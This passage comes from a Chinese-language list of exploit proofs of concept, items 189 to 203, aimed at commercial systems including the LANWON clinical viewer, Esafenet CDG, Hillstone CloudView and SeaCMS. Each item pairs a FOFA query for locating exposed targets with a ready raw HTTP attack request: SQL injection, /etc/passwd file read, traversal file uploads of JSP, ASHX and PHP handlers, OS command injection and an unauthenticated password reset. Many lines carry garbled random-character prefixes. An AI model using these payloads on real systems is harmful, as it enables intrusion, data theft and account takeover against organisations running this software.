Accept-Encoding: gzip, deflate
% f9 q+ |  c1 t: H3 ^- O5 ^Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
; W- n0 E6 }) MConnection: close
& y. R, J3 h: u/ [6 J

189. 蓝网科技临床浏览系统 deleteStudy SQL注入
  L5 f! ?/ v: E3 p" n% ~& r4 fFOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
6 c4 w- ~$ _! I& p# c( FHost: your-ip
* _7 q8 D% y8 n- D% H$ YUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
* K- l' P' E1 t& z( L& u. c+ x& rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
2 @' |. r, k" E" I

% ]' c$ \, D; _1 g190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
" U$ I: n! C) ]" q9 f3 |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
* V: G0 B/ V# w, y# R7 k$ cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
1 |% h) d$ ]0 ?% X5 o7 a8 {3 VAccept-Language: zh-CN,zh;q=0.9
" q  W: I  i7 C8 A
1 l2 i6 i: J& G1 _9 }3 X, p4 i# Tpoi=file:///etc/passwd

1 ?5 O3 `5 }9 i: Q. z! m5 o- m
, a* i4 E/ |  P191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
& z" j' A2 `6 q' dContent-Type: application/x-www-form-urlencoded
0 P3 C" u3 z% j! A8 `  s5 k7 _
; z% h# A( P9 d$ n- c+ Ecommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=

8 m' b& v0 t. d" D# {& b; E
# ~% f) {8 Z+ s# X/ m) l- O4 W192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
; h9 s5 }( Z' p2 N6 J- QFOFA：title="用户登录_富通天下外贸ERP"
- G8 c+ r2 A& f  S, {% N! PPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
! ^6 u1 L& B3 Q9 J! }4 DHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded


<% @ webhandler language="C#" class="AverageHandler" %>
using System;
6 {4 `' Z4 c. ]6 V  Y$ P8 rusing System.Web;
public class AverageHandler : IHttpHandler
1 i( I- C9 g: n  Z& ]{
public bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
+ Z# B' c6 l. r8 Q1 w{
ctx.Response.Write("test");
* S) ?8 G1 x) p+ v}
}

! F, J# ?0 r3 q7 W+ E- x
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
- ^6 {9 v" t# M/ H# n3 g; zFOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
+ i/ q4 s" y3 p" a7 ]& I" XCookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
9 x9 u3 {, V( j/ a. F% X4 LUser-Agent: Mozilla/5.0


- A) k* M7 G$ q) wPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
  H! M( V/ O  \1 p' CAccept-Encoding: gzip, deflate
' R# N* ~/ W. q' yAccept: */*
Connection: close
  ^* C' H/ T. G& H' U3 r  K  P8 u" ^1 ZCookie: PHPSESSID=2333333333333;
2 j3 o5 `0 r# Z6 iContent-Type: application/x-www-form-urlencoded
Content-Length: 84
9 E/ {: q8 u6 p/ _* P
param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')

$ o- y3 `" U" w% n- Y. I
) @8 V: d% k8 c7 KGET /master/img/config HTTP/1.1
# e4 ?  }0 o- uHost:
User-Agent: Mozilla/5.0


! h7 a, ~. ?: B. C2 Z- h/ c$ q194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
$ C0 V! v) G  j: v6 V9 X------WebKitFormBoundaryKNt0t4vBe8cX9rZk
! }4 L8 N; ^7 C  }9 D
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
  e& [$ Q1 |1 a8 W, F9 J( ?+ @<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
& o/ ]- f, t( ~8 a, G$ G3 |6 [------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

4 t7 |2 x# H- p9 `9 d' H
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
8 U! Q5 f7 U: E8 j8 A8 v9 _! w" XFOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
5 f* K, a) z- o  G  N( dHost: 127.0.0.1
' A) H5 W; C, {2 r' L) aPragma: no-cache
) J8 o0 c8 m5 X% I( Q; k# R/ [Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
2 n/ p/ ]6 S$ f% Q2 W, W: L) yAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
% @$ h9 c, r+ l; V8 t5 c3 P7 O2 o) N& MContent-Length: 68

{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
. X; s8 g' A! M: m: T3 n
1 s. G5 C. {: j+ _9 j
  G/ q; I' @% @196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
5 M" J& a- A2 \1 b. kPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
/ N. }# ^- |1 {: u" `: aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
+ ~, _3 D* P4 S9 \Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
: g$ p; i8 S% u& F7 MHost:
# e# V7 ]) R0 y8 J! _2 iAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
$ z2 h) q: U/ a8 J, p! B) }! s8 D/ r0 YContent-Length: 45
Connection: close

1 ^! J4 Q( ^' i- M- ~) `{"xgh":"test","newPass":"test666","email":""}

* {3 {/ b" K- D8 F4 y

7 }0 z; r# ~* s4 P( [8 Q1 T197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
/ F( m4 ?, R' v. C: y( qFOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
4 V7 q6 `8 g2 Q5 y' jAccept-Encoding: gzip, deflate
Connection: close
; \% K8 \* j9 r) V: L

+ R7 Z$ s9 R7 i0 f! i- v  A! V
6 Y1 \. @1 \& ^. Z$ v' N198.  阿里云盘 WebDAV 命令注入
0 ^- h3 h7 n  @7 \1 W( C) A" M3 OCVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
6 ^1 [# [# _) c3 k  s+ EAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
  Z8 r+ f' Q8 w) k& z; GConnection: close


199. cockpit系统assetsmanager_upload接口 文件上传
+ _" Z2 }" t: o1 i' R
) t0 x. R* b7 @* F8 o1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
+ u( z) h* ^  g7 F$ P( _8 Q! ]0 ZGET /auth/login?to=/ HTTP/1.1
$ ^( T% _( c  ~4 b$ B
5 T6 |& Q/ O$ Z8 {9 l' d- c1 s响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

5 G% r7 n  E- E8 ^, D2.使用刚才上一步获取到的jwt获取cookie：
: j* m' B# ~8 \9 r0 E
POST /auth/check HTTP/1.1
' y" p. l( s2 B( gContent-Type: application/json
2 s6 Y- Q+ e5 ]: Y/ v
{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
# [3 W( Z  n) Z: s# X1 `  U8 M
响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
) [" p1 x! E0 y8 t; S' s0 @( gFofa：title="Authenticate Please!"
1 ]# V& C( G( B; {6 e) F& `POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
. L, K. ^& d) mCookie: mysession=95524f01e238bf51bb60d77ede3bea92
& X1 p) q4 E' v* M- ^
7 N7 U% F- G. C0 K2 S# x2 m0 }( g-----------------------------36D28FBc36bd6feE7Fb3
+ A8 V7 ]. t7 x# m, C: m& ~9 {9 w$ q7 {Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php

/ J+ }4 x- a, F1 A$ {<?php echo "tttt";unlink(__FILE__);?>
8 R# Z: K& r* `# w3 L+ W1 E( l-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

-----------------------------36D28FBc36bd6feE7Fb3--
  O! K, n! c* `! i" A
# O& F7 U9 {: o, A
/storage/uploads/tttt.php

- W6 U$ p0 m( `% u200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
# f* A' d/ e1 H1 p4 ?Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
7 p+ R4 V3 \6 P" `- ~4 f7 iUpgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

2 c8 Y3 M; D2 L9 Q% w2 Q* l1 s" B
+ A1 N8 G, Z8 M! W) E# s! R7 x201. 方正全媒体新闻采编系统 binary SQL注入
: i7 Q" E# \$ @2 s  P3 HFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
4 d# p, _3 g8 h9 t2 K. SContent-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
1 O- x4 T! a  \' R( wAccept-Encoding: gzip, deflate
, r7 Z. ^; a+ s( gAccept-Language: zh-CN,zh;q=0.9
Connection: close
2 l$ _8 @' V, i1 Q' \& [5 F
+ O9 s" }7 j3 P; _( aTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1

9 a/ V/ f8 E! ?, K; I( Z
202. 微擎系统 AccountEdit任意文件上传
& ^7 G7 G( h( }- l5 r2 h* \9 k- RFOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
. c: G  {. r# J( wGET /User/AccountEdit.aspx HTTP/1.1
; G& I( I8 P: {% s: a$ ?' EHost: 滑板人之家
+ j0 ^3 j. q3 A% }% CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0
2 P$ v8 q( d1 X9 F8 S9 }9 i

# p# {$ _$ @$ `% u( n0 Q替换__VIEWSTATE和__EVENTVALIDATION值
, N, d% m- R$ p0 ^5 ?: QPOST /User/AccountEdit.aspx HTTP/1.1
; Y8 ]5 d# U# B* GAccept-Encoding: gzip, deflate, br
; S8 _9 d2 Y" B6 L2 g( QContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

. ^, T8 m" m& I& f. x; t9 h-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"

. k3 w9 t; x7 S- R1 `; A  h! X! i__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
. q. Y; e% V) o2 A. T7 Q; fContent-Disposition: form-data; name="__EVENTVALIDATION"
6 u* Z3 C: _+ x
, a/ O  d# W7 Y. `__EVENTVALIDATION
* Z. f5 r5 S" J( t-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
- h: G- u/ _* b! FContent-Type: text/plain
+ @: Q! r  m' }: v% {, J* V8 o3 z" W
Hello World!
! b( x# y) U' g, h, d9 h-----------------------------786435874t38587593865736587346567358735687
# O% d. O  n3 l6 v* T3 L: Y( XContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
+ @' U$ C' o8 t; R9 P$ w2 U
上传图片
9 Z# s  w2 m6 {6 U$ O. ~-----------------------------786435874t38587593865736587346567358735687
" u9 t* j- Z6 u- e' k" B; mContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
  s9 J+ K. |0 ~6 a3 u+ |" c6 u! q& Z% M
* \: |4 P; l( D' d2 o& Q0 j
6 ^! P% ^, W' t1 q& }6 b  g-----------------------------786435874t38587593865736587346567358735687
6 d* @& e1 V) m( j. A2 I  n8 xContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"


-----------------------------786435874t38587593865736587346567358735687--
4 F3 \: e$ Z& \( n" u2 ~# S' U3 g
3 F+ p2 C( `1 [/ Y0 W
/_data/Uploads/1123.txt
& B  ^% `2 h+ ?$ Z% }
203. 红海云EHR PtFjk 文件上传
( D: I- r7 G+ l7 c" {FOFA：body="RedseaPlatform"
4 }9 D; o& u, P: @" c* YPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) h- E8 B3 u/ d% v7 @) LContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
8 k5 `7 \2 [! B7 |* c9 a' nContent-Length: 210
1 Q6 V. K1 S2 }
------WebKitFormBoundaryt7WbDl1tXogoZys4
6 F- o5 M; x4 }Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg
4 F3 j. h- T8 X; k) [) Q4 E: F
6 z; X8 ^7 x( _+ @5 V<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--
  Y- i' l! l- s; k& L" p" F7 k

8 ^  _3 Z3 g' q9 a

6 b3 h( @# @3 R4 }+ r
1 l( ~2 T" ^2 g5 a7 Q2 s